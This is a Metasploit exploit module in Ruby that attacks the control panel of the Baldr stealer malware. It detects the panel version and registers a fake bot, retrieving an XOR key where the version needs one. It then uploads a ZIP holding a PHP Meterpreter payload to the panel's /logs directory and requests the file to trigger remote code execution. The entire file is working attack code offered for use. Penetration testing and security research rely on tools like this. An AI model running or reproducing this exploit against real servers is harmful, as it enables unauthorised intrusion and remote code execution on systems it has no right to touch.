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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::FileDropper
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  include Msf::Exploit::Remote::HttpClient
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Baldr Botnet Panel Shell Upload Exploit',
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        'Description' => %q{
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          This module exploits an arbitrary file upload vulnerability within the Baldr
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          stealer malware control panel when uploading victim log files (which are uploaded
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          as ZIP files). Attackers can turn this vulnerability into an RCE by first
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          registering a new bot to the panel and then uploading a ZIP file containing
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          malicious PHP, which will then uploaded to a publicly accessible
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          directory underneath the /logs web directory.
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          Note that on versions 3.0 and 3.1 the ZIP files containing the victim log files
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          are encoded by XORing them with a random 4 byte key. This exploit module gets around
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          this restriction by retrieving the IP specific XOR key from panel gate before
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          uploading the malicious ZIP file.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Ege Balcı <[email protected]>' # author & msf module
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        ],
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        'References' => [
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          ['URL', 'https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/'],
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          ['URL', 'https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/'],
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          ['URL', 'https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf'],
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        ],
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        'DefaultOptions' => {
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          'SSL' => false,
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          'WfsDelay' => 5
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        },
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        'Platform' => [ 'php' ],
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        'Arch' => [ ARCH_PHP ],
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        'Targets' => [
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          [
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            'Auto',
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            {
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              'Platform' => 'PHP',
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              'Arch' => ARCH_PHP,
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              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
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            }
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          ],
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          [
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            '<= v2.0',
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            {
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              'Platform' => 'PHP',
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              'Arch' => ARCH_PHP,
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              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
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            }
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          ],
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          [
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            'v2.2',
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            {
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              'Platform' => 'PHP',
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              'Arch' => ARCH_PHP,
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              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
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            }
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          ],
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          [
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            'v3.0 & v3.1',
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            {
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              'Platform' => 'PHP',
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              'Arch' => ARCH_PHP,
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              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
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            }
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          ]
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2018-12-19',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [ CRASH_SAFE ],
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          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS ],
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          'Reliability' => [ REPEATABLE_SESSION ]
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),
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      ]
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    )
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  end
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  def check
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    if select_target
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      Exploit::CheckCode::Appears("Baldr Version: #{select_target.name}")
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    else
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      Exploit::CheckCode::Safe
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    end
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  end
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  def select_target
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    res = send_request_cgi(
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      'method' => 'GET',
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      'uri' => normalize_uri(target_uri.path, 'gate.php')
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    )
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    if res && res.code == 200
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      if res.body.include?('~;~')
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        targets[3]
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      elsif res.body.include?(';')
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        targets[2]
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      elsif res.body.size < 4
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        targets[1]
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      end
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    end
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  end
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  def exploit
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    # Forge the payload
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    name = ".#{Rex::Text.rand_text_alpha(4)}"
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    files =
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      [
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        { data: payload.encoded, fname: "#{name}.php" }
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      ]
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    zip = Msf::Util::EXE.to_zip(files)
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    hwid = Rex::Text.rand_text_alpha(8).upcase
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    gate_uri = normalize_uri(target_uri.path, 'gate.php')
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    version = select_target
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    # If not 'Auto' then use the selected version
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    if target != targets[0]
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      version = target
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    end
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    gate_res = send_request_cgi({
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      'method' => 'GET',
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      'uri' => gate_uri
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    })
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    os = Rex::Text.rand_text_alpha(8..12)
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    case version
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    when targets[3]
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      fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res
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      unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')
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        fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')
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      end
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      key = gate_res.body.to_s.split('~;~')[0]
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      print_good("Key: #{key}")
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      data = "hwid=#{hwid}&os=#{os}&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"
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      data = Rex::Text.xor(key, data)
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      res = send_request_cgi({
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        'method' => 'GET',
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        'uri' => gate_uri,
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        'data' => data.to_s
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      })
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      fail_with(Failure::UnexpectedReply, 'Could not obtain gate key') unless res && res.code == 200
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      print_good('Bot successfully registered.')
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      data = Rex::Text.xor(key, zip.to_s)
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      form = Rex::MIME::Message.new
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      form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{hwid}.zip\"")
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      res = send_request_cgi({
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        'method' => 'POST',
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        'uri' => gate_uri,
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        'ctype' => "multipart/form-data; boundary=#{form.bound}",
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        'data' => form.to_s
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      })
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      if res && res.code == 200
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        print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
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        register_file_for_cleanup("#{name}.php")
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      else
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        print_error("Server responded with code #{res.code}")
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        fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
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      end
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    when targets[2]
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      fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res
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      unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')
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        fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')
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      end
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      key = gate_res.body.to_s.split(';')[0]
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      print_good("Key: #{key}")
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      data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"
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      data << zip.to_s
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      result = Rex::Text.xor(key, data)
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      res = send_request_cgi({
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        'method' => 'POST',
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        'uri' => gate_uri,
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        'data' => result.to_s
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      })
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      unless res && res.code == 200
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        print_error("Server responded with code #{res.code}")
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        fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
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      end
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      print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
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    else
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      res = send_request_cgi({
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        'method' => 'POST',
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        'uri' => gate_uri,
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        'data' => zip.to_s,
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        'encode_params' => true,
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        'vars_get' => {
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          'hwid' => hwid,
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          'os' => os,
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          'cookie' => '0',
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          'pswd' => '0',
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          'credit' => '0',
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          'wallet' => '0',
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          'file' => '1',
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          'autofill' => '0',
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          'version' => 'v2.0'
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        }
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      })
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      if res && res.code == 200
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        print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
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      else
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        print_error("Server responded with code #{res.code}")
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        fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
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      end
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    end
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    vprint_status('Triggering payload')
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    send_request_cgi({
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      'method' => 'GET',
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      'uri' => normalize_uri(target_uri.path, 'logs', hwid, "#{name}.php")
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    }, 3)
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  end
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end
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